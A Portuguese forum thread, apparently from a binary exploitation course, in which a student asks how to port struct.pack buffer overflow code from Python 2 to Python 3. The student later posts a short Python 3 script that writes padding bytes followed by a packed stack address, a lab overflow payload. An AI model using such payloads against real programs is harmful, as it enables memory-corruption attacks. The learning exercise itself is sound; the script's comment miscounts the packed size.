Matheus Batista Gusmao de Oliveira Posted December 17, 2020 at 02:58 PM Share Posted December 17, 2020 at 02:58 PM (edited) Oi tenho uma dúvida, é possível passar o código do struct.pack() de python 2(que retorna uma str) para python3(retorna byte object). Visto também que todos os bytes em py2 são str, é viável fazer print(str + byte), já em py3 isso não é possivel. Tentei converter para a str, mas a variável não vai para a stack, logo sem buffer overflow. Para uso de exploração de binários é recomendado python2 ou 3? Edited December 17, 2020 at 03:13 PM by Matheus Batista Gusmao de Oliveira Quote Link to comment Share on other sites More sharing options...
Matheus Batista Gusmao de Oliveira Posted December 21, 2020 at 08:23 PM Author Share Posted December 21, 2020 at 08:23 PM Para quem tem a mesma duvida que eu e quer passar o script para python 3 por óbvias razões(python2 deprecated). Passei o script para saber o endereço onde ocorre o buffer overflow na aula 02, aqui vai: import sys import struct junk = b"AAAAAAAABBBBBBBBCCCCCCCCDDDDDDDDEEEEEEEEFFFFFFFFGGGGGGGG" esp = struct.pack("<Q", 0x7fffffffdce8) # 12bytes unsigned long little end sys.stdout.buffer.write(junk) sys.stdout.buffer.write(esp) #printa os raw bytes em hexa sem /n e sem o encode chato do py3 1 Quote Link to comment Share on other sites More sharing options...
Recommended Posts
Join the conversation
You can post now and register later. If you have an account, sign in now to post with your account.